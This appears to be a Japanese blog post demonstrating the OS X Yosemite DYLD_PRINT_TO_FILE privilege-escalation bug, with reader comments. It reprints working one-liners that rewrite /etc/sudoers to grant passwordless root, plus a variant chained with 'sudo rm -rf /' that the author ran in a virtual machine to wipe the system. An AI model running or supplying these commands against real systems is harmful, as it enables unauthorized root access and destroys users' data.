OS X 10.10.4までに存在する権限昇格の脆弱性を使用してYosemiteを「rm -rf /」してみました。詳細は以下から。
ドイツのセキュリティ企業”SektionEins”がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表し、多くの関連した話題が報じられてきましたが、
関連記事
- OS X YosemiteのDYLD_PRINT_TO_FILEに権限昇格の脆弱性が発見され、OS X 10.10.4でも実行可能なExploit Codeも公開される
- OS X YosemiteのDYLD_PRINT_TO_FILEに存在する権限昇格脆弱性を利用して、1行でsudoersファイルを書換え誰もがrootユーザー昇格できる実行コードが考案される
- OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
- Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet – The Register
- Bug in latest version of OS X gives attackers unfettered root privileges – Ars Technica
特にクリティカルなのが以下の1 Line Codeでこのコードを使用すれば誰もがrootユーザーでのコマンドを実行できます。
echo ‘echo &vquot;$(whoami) ALL=(ALL) NOPASSWD:ALL&vquot; >&3’ | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)
echo python -c ‘&vquot;import os;os.write(3,\&vquot;ALL ALL=(ALL) NOPASSWD: ALL\&vquot;)&vquot;’|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su # via reddit lsdhobo
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
この記事をまとめたところ、コメント欄で「sudo の後に rm -rf / が無いだけ良かった」というアイデアを頂きましたので早速実験してみました。
OS X YosemiteのDYLD_PRINT_TO_FILEに存在する権限昇格脆弱性を利用して、1行でsudoersファイルを書換え誰もがrootユーザー昇格できる実行コードが考案され http://t.co/bUQdrdIzZ9 http://t.co/wvvgrZr79v
実験
実験にはParallels DesktopにインストールしたOS X 10.10.2 Yosemiteを使用しています(追記:10.10.4でも確認いたしました)。実行した1 Line Codeは以下の通りで、実行するとrootパスワードも聞かれずルートディレクトリを消去、
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo rm -rf /
rmコマンドは以下の動画のように数分で終了(参考その2)。
コマンド終了後Parallels Desktop側でYosemiteの仮想環境を強制的にRebootすると以下の様にBootが失敗します。
その後リカバリーパティッションが起動し、ネットワーク経由でOS X Yosemiteの再インストールが始まります。
既に多くの開発者やセキュリティ研究家がこの脆弱性をAppleに報告しているようですが、Appleはこの脆弱性を数ヶ月間放置しているという噂もあるため、修正はOS X 10.10.5以降になると思われるので、逸早く対応したい方はSUIDGuardの使用をお勧めします。
関連リンク:
コメント
MacってFreeBSDに手を加えすぎて脆弱になってるよね。。。
元々のUNIXに、Macらしい使い勝手部分をカスタマイズするだけで
余計なことは一切しない方がセキュリティ的には良かった気がする。
むしろアップル社の開発能力的にも、現状でも限界がきているような感じですね。
元々UNIXベースだったとしても、細かい電源管理からGPUのドライブ、ネットワークスタックまできちんとやろうと思うと、独自部分が増えるのはしょうがないかな。そもそもMachカーネル自体が派生版なんだし…
ただそこを直すというか、ある程度、もう少し寄り添ってもいい気はする。ファイルシステムをZFSにしたり。(iOSとは乖離が大きくなるかもしれないが)
現実はlibdispatchやらclangやらMacの成果物をFreeBSDが取り込んでいるんだよな。
大学のシステム管理者が卒倒していそう…
※3
ZFS化の頓挫は残念だったが、ZFSって空き容量が少なくなり断片化も進行すると、ありえんくらいパフォーマンスが低下する欠点がある。でもって、抜本的解決方法が今尚存在しないので、普通の人が使うようなクライアントOSには不向きって判断がなされたんだろうと思う。
すごくワクワクしながら記事を開いてしまった。最初にpythonでなんかしてるけどこれが脆弱性を引き起こすトリック?
こんな脆いの?
これを実行した後今まで通りに直すやり方も教えて欲しいですね